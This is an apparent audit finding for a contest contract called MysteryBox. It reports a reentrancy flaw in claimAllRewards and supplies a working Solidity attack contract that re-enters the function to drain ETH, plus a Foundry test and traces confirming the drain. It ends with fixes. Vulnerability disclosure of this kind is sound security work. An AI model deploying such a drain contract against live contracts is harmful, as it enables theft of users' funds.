Summary
The MysteryBox contract is vulnerable to a reentrancy attack in its claimAllRewards function. This vulnerability allows an attacker to recursively call the function and drain the contract's balance by repeatedly claiming rewards without updating the user's state. This can lead to significant financial losses and disrupt the intended functionality of the contract.
Vulnerability Details
https://github.com/Cyfrin/2024-09-mystery-box/blob/281a3e35761a171ba134e574473565a1afb56b68/src/MysteryBox.sol#L79-L90
The vulnerability arises because the claimAllRewards function transfers ETH to the caller before updating the user's reward state. This allows a malicious contract to exploit the reentrancy by calling back into claimAllRewards through its fallback function.
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
@=> (bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
@=> delete rewardsOwned[msg.sender];
}
The call to transfer ETH (payable(msg.sender).call{value: totalValue}("")) occurs before the rewards are deleted (delete rewardsOwned[msg.sender]).
Exploit:
An attacker can deploy a malicious contract with a fallback function that calls claimAllRewards again. By doing so, the attacker can repeatedly withdraw funds from the MysteryBox contract before their rewards are cleared, effectively draining the contract's balance.
ReentrancyAttack.sol
pragma solidity ^0.8.0;
import "./MysteryBox.sol";
contract ReentrancyAttack {
MysteryBox public mysteryBox;
address public owner;
constructor(address _mysteryBoxAddress) {
mysteryBox = MysteryBox(_mysteryBoxAddress);
owner = msg.sender;
}
receive() external payable {
if (address(mysteryBox).balance >= 0.1 ether) {
mysteryBox.claimAllRewards();
}
}
function attack() external payable {
require(msg.value >= 0.1 ether, "Need at least 0.1 ETH to attack");
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.openBox();
mysteryBox.claimAllRewards();
}
function withdraw() external {
require(msg.sender == owner, "Only owner can withdraw");
payable(owner).transfer(address(this).balance);
}
}
MysteryBoxTest.t.sol
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/MysteryBox.sol";
import "../src/ReentrancyAttack.sol";
contract ReentrancyTest is Test {
MysteryBox mysteryBox;
ReentrancyAttack attackContract;
address attacker = address(0x123);
function setUp() public {
mysteryBox = new MysteryBox{value: 0.1 ether}();
attackContract = new ReentrancyAttack(address(mysteryBox));
vm.deal(attacker, 1 ether);
}
function testReentrancyAttack() public {
vm.startPrank(attacker);
uint256 balanceBeforeAttack = address(attackContract).balance;
emit log_uint(balanceBeforeAttack);
attackContract.attack{value: 0.1 ether}();
uint256 balanceAfterAttack = address(attackContract).balance;
emit log_uint(balanceAfterAttack);
assert(balanceAfterAttack > balanceBeforeAttack);
vm.stopPrank();
}
}
forge test --match-path test/MysteryBoxTest.t.sol -vvvv
[⠊] Compiling...
[⠰] Compiling 1 files with Solc 0.8.26
[⠔] Solc 0.8.26 finished in 1.31s
Compiler run successful!
Ran 1 test for test/MysteryBoxTest.t.sol:ReentrancyTest
[PASS] testReentrancyAttack() (gas: 110827)
Logs:
0
200000000000000000
Traces:
[143799] ReentrancyTest::testReentrancyAttack()
├─ [0] VM::startPrank(0x0000000000000000000000000000000000000123)
│ └─ ← [Return]
├─ emit log_uint(val: 0)
├─ [123973] ReentrancyAttack::attack{value: 100000000000000000}()
│ ├─ [24580] MysteryBox::buyBox{value: 100000000000000000}()
│ │ └─ ← [Stop]
│ ├─ [68077] MysteryBox::openBox()
│ │ └─ ← [Stop]
│ ├─ [18507] MysteryBox::claimAllRewards()
│ │ ├─ [10064] ReentrancyAttack::receive{value: 100000000000000000}()
│ │ │ ├─ [9290] MysteryBox::claimAllRewards()
│ │ │ │ ├─ [302] ReentrancyAttack::receive{value: 100000000000000000}()
│ │ │ │ │ └─ ← [Stop]
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ emit log_uint(val: 200000000000000000 [2e17])
├─ [0] VM::stopPrank()
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.69ms (886.80µs CPU time)
Ran 1 test suite in 16.93ms (1.69ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
The contract's balance can be drained, leading to significant financial losses for the contract owner and other users.
Tools Used
Recommendations
Ensure that all state changes are made before any external calls. This prevents reentrant calls from exploiting the contract's state.
Implement a reentrancy guard using a nonReentrant modifier to prevent reentrant calls to sensitive functions.
